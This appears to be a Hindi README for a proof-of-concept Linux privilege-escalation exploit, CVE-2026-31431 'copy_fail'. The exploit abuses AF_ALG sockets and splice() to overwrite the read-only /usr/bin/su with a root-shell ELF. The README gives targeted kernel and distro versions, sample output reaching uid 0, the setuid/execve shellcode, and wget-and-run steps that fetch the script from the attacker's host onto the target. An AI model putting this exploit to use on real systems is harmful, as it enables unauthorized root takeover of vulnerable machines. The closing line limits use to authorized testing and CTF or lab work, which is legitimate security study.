
PoC शेल एक्सप्लॉइट CVE-2026-31431 (copy_fail) के लिए — AF_ALG + splice पेज-कैश ओवरराइट के माध्यम से Linux LPE। सिंगल-शॉट, कोई रेस कंडीशन नहीं, कर्नेल 4.9–6.18।
AF_ALG सॉकेट + splice() पेज-कैश ओवरराइट के माध्यम से स्थानीय विशेषाधिकार वृद्धि।
एक रीड-ओनली SUID बाइनरी (/usr/bin/su) को एक न्यूनतम ELF के साथ ओवरराइट करता है जो setuid(0) + execve("/bin/sh") को कॉल करता है। कोई रेस कंडीशन नहीं, कोई प्रति-डिस्ट्रो ऑफसेट नहीं, सिंगल शॉट।
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 कमजोर विंडो (4.9 – 6.18) में है — आगे बढ़ रहे हैं
[*] कंपाइल हो रहा है...
[+] कंपाइल सफल — लॉन्च हो रहा है
# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)
लिनक्स कर्नेल का AF_ALG (क्रिप्टो API) सॉकेट, splice() के साथ संयुक्त, पेज कैश में हेरफेर करके O_RDONLY के साथ खोली गई फ़ाइल में लिखने की अनुमति देता है। कर्नेल ALG सॉकेट के splice पथ के अंदर कॉपी-ऑन-राइट शॉर्टकट पर राइट-अनुमति जांच को छोड़ देता है — डर्टी पाइप (CVE-2022-0847) के समान बग वर्ग, लेकिन कर्नेल 4.9 में पेश किए गए एक अलग कोड पथ के माध्यम से ट्रिगर होता है।
| कर्नेल रेंज | स्थिति |
|---|---|
| < 4.9 | प्रभावित नहीं (कमजोर कोड पथ मौजूद नहीं) |
| 4.9 – 6.18 | कमजोर (~9 वर्ष, 2017–2026) |
| ≥ 6.19 | पैच किया गया |
| डिस्ट्रो | कर्नेल |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
gcc उपलब्ध/tmp पर लिखने की पहुंच# लक्ष्य पर
wget http://<your-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh
स्क्रिप्ट निम्न कार्य करेगी:
/usr/bin/su को रूट शेल पेलोड के साथ ओवरराइट करेंAF_ALG सॉकेट (AEAD)
│
│ sendmsg() क्राफ्टेड एंसिलरी डेटा के साथ (ALG_SET_OP / ALG_SET_IV)
│
▼
op_fd (ऑपरेशन सॉकेट)
▲
│ splice(): file_fd → pipe → op_fd
│
/usr/bin/su (O_RDONLY)
कर्नेल का splice पथ ALG सॉकेट के अंदर कॉपी-ऑन-राइट अनुमति जांच को छोड़ देता है, रीड-ओनली के रूप में खोले जाने के बावजूद सीधे लक्ष्य फ़ाइल के पेज कैश में लिखता है। पेलोड (एक 160-बाइट ELF) 40 पुनरावृत्तियों में एक बार में 4 बाइट्स लिखा जाता है।
पेलोड शेलकोड:
xor eax, eax
xor edi, edi ; uid = 0
mov al, 105 ; SYS_setuid
syscall ; setuid(0)
lea rdi, [rip+0xf] ; -> "/bin/sh"
xor esi, esi ; argv = NULL
push 59 / pop rax ; SYS_execve
cdq ; envp = NULL
syscall ; execve("/bin/sh", NULL, NULL)
| फ़ाइल | विवरण |
|---|---|
copy_fail_exp.sh | बैश स्क्रिप्ट — लक्ष्य पर कंपाइल और रन करती है, Python की आवश्यकता नहीं |
copy_fail_exp.py | संदर्भ के लिए मूल Python संस्करण |
copy_fail_exp_deobfuscated.py | डीओबफस्केटेड और एनोटेटेड Python संस्करण |
केवल अधिकृत सुरक्षा परीक्षण और CTF/लैब वातावरण के लिए। उन सिस्टमों के खिलाफ उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।